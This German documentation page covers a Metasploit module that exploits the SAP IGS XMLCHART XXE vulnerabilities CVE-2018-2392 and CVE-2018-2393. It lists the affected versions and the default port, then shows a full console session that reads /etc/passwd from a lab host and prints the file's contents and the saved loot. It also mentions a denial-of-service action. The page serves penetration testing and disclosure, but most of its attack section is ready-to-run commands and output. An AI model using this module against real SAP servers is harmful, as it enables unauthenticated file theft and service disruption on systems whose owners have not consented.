
SAP IGS XXE-Angriff CVE-2018-2392 und CVE-2018-2393
Dieses Modul nutzt CVE-2018-2392 und CVE-2018-2393 aus, zwei XXE-Sicherheitslücken in der XMLCHART-Seite von SAP Internet Graphics Servern (IGS) der Versionen 7.20, 7.20EXT, 7.45, 7.49 oder 7.53. Diese Schwachstellen treten aufgrund fehlender geeigneter Validierung des Extension HTML-Tags beim Senden einer POST-Anfrage an die XMLCHART-Seite zur Erstellung eines neuen Diagramms auf.
Ein erfolgreicher Angriff ermöglicht nicht authentifizierten entfernten Angreifern, Dateien vom Server als der Benutzer zu lesen, von dem aus der IGS-Dienst gestartet wird – normalerweise der SAP-Admin-Benutzer. Alternativ können Angreifer die XXE-Schwachstelle auch für einen Denial-of-Service-Angriff auf den verwundbaren SAP IGS-Server missbrauchen.
Der Internet Graphics Service (IGS) bietet eine Infrastruktur, mit der Entwickler mit minimalem Aufwand Grafiken in einem Internetbrowser anzeigen können. Er wurde in verschiedene SAP-UI-Technologien integriert und ermöglicht die Nutzung von Daten aus einem anderen SAP-System oder einer Datenquelle zur Erstellung dynamischer grafischer oder nichtgrafischer Ausgaben.
Schritte zur Installation und Aktualisierung des SAP IGS-Servers finden Sie online auf dieser Seite. Weitere Informationen zur Konfiguration des IGS-Servers finden Sie hier. Informationen zur Verwaltung des IGS-Servers finden Sie hier.
Nach der Einrichtung und Konfiguration sind die Instanzen auf dem standardmäßigen HTTP-Port 40080 angreifbar.
workspace [WORKSPACE]use auxiliary/admin/sap/sap_igs_xmlchart_xxeset RHOSTS [IP]set FILE [remote file name]set action READcheckcheck-Methode korrekt erkennt, ob das Ziel verwundbar ist oder nicht.runDatei, die vom entfernten Server gelesen werden soll. Beispiel: /etc/passwd
Dies ist der Pfad zur XMLCHART-Seite des SAP IGS-Servers, die anfällig für XXE ist. Standardmäßig ist er auf /XMLCHART gesetzt, kann jedoch geändert werden, wenn der SAP IGS-Server unter einem anderen Pfad als dem Webroot installiert wurde. Wenn der SAP IGS-Server beispielsweise unter dem Pfad /igs/ im Webroot installiert wurde, würde dieser Wert auf /igs/XMLCHART gesetzt.
Name Description
---- -----------
READ Remote file read
DOS Denial Of Service
msf6 > workspace -a SAP_TEST
[*] Added workspace: SAP_TEST
[*] Workspace: SAP_TEST
msf6 > use auxiliary/admin/sap/sap_igs_xmlchart_xxe
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set RHOSTS 172.16.30.29
RHOSTS => 172.16.30.29
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set FILE /etc/passwd
FILE => /etc/passwd
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set action READ
action => READ
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set Proxies http:127.0.0.1:8080
Proxies => http:127.0.0.1:8080
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set VERBOSE true
VERBOSE => true
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > options
Module options (auxiliary/admin/sap/sap_igs_xmlchart_xxe):
Name Current Setting Required Description
---- --------------- -------- -----------
FILE /etc/passwd no File to read from the remote server
Proxies http:127.0.0.1:8080 no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.16.30.29 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 40080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URIPATH /XMLCHART yes Path to the SAP IGS XMLCHART page from the web root
VHOST no HTTP server virtual host
Auxiliary action:
Name Description
---- -----------
READ Remote file read
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > check
[+] 172.16.30.29:40080 - The target is vulnerable. 172.16.30.29 running OS: SUSE Linux Enterprise Server for SAP Applications 12 SP1 returned a response indicating that its XMLCHART page is vulnerable to XXE!
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > run
[*] Running module against 172.16.30.29
[+] File: /etc/passwd content from host: 172.16.30.29
at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash
bin:x:1:1:bin:/bin:/bin/bash
daemon:x:2:2:Daemon:/sbin:/bin/bash
ftp:x:40:49:FTP account:/srv/ftp:/bin/bash
games:x:12:100:Games account:/var/games:/bin/bash
gdm:x:107:112:Gnome Display Manager daemon:/var/lib/gdm:/bin/false
haldaemon:x:101:102:User for haldaemon:/var/run/hald:/bin/false
lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/bash
mail:x:8:12:Mailer daemon:/var/spool/clientmqueue:/bin/false
man:x:13:62:Manual pages viewer:/var/cache/man:/bin/bash
messagebus:x:100:101:User for D-Bus:/var/run/dbus:/bin/false
news:x:9:13:News system:/etc/news:/bin/bash
nobody:x:65534:65533:nobody:/var/lib/nobody:/bin/bash
ntp:x:74:108:NTP daemon:/var/lib/ntp:/bin/false
polkituser:x:104:107:PolicyKit:/var/run/PolicyKit:/bin/false
postfix:x:51:51:Postfix Daemon:/var/spool/postfix:/bin/false
pulse:x:105:109:PulseAudio daemon:/var/lib/pulseaudio:/bin/false
puppet:x:103:106:Puppet daemon:/var/lib/puppet:/bin/false
root:x:0:0:root:/root:/bin/bash
sshd:x:71:65:SSH daemon:/var/lib/sshd:/bin/false
suse-ncc:x:106:111:Novell Customer Center User:/var/lib/YaST2/suse-ncc-fakehome:/bin/bash
uucp:x:10:14:Unix-to-Unix CoPy system:/etc/uucp:/bin/bash
uuidd:x:102:104:User for uuidd:/var/run/uuidd:/bin/false
wwwrun:x:30:8:WWW daemon apache:/var/lib/wwwrun:/bin/false
admin:x:1000:100:admin:/home/admin:/bin/bash
j45adm:x:1001:1001:SAP System Administrator:/home/j45adm:/bin/csh
sybj45:x:1002:1001:SAP Database Administrator:/sybase/J45:/bin/csh
sapadm:x:1003:1001:SAP System Administrator:/home/sapadm:/bin/false
[+] File: /etc/passwd saved in: /Users/vladimir/.msf4/loot/20201007131238_SAP_TEST_172.16.30.29_igs.xmlchart.xxe_346716.txt
[*] Auxiliary module execution completed
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
172.16.30.29 40080 tcp http open SAP Internet Graphics Server (IGS)
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > vulns
Vulnerabilities
===============
Timestamp Host Name References
--------- ---- ---- ----------
2020-10-07 10:12:37 UTC 172.16.30.29 SAP Internet Graphics Server (IGS) XMLCHART XXE CVE-2018-2392,CVE-2018-2393,URL-https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_IGS-The-vulnerable-forgotten-component.pdf
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
172.16.30.29 igs.xmlchart.xxe /etc/passwd text/plain SAP IGS XMLCHART XXE /Users/vladimir/.msf4/loot/01619fd331da98b5ac4d-20201007131238_SAP_TEST_172.16.30.29_igs.xmlchart.xxe_346716.txt


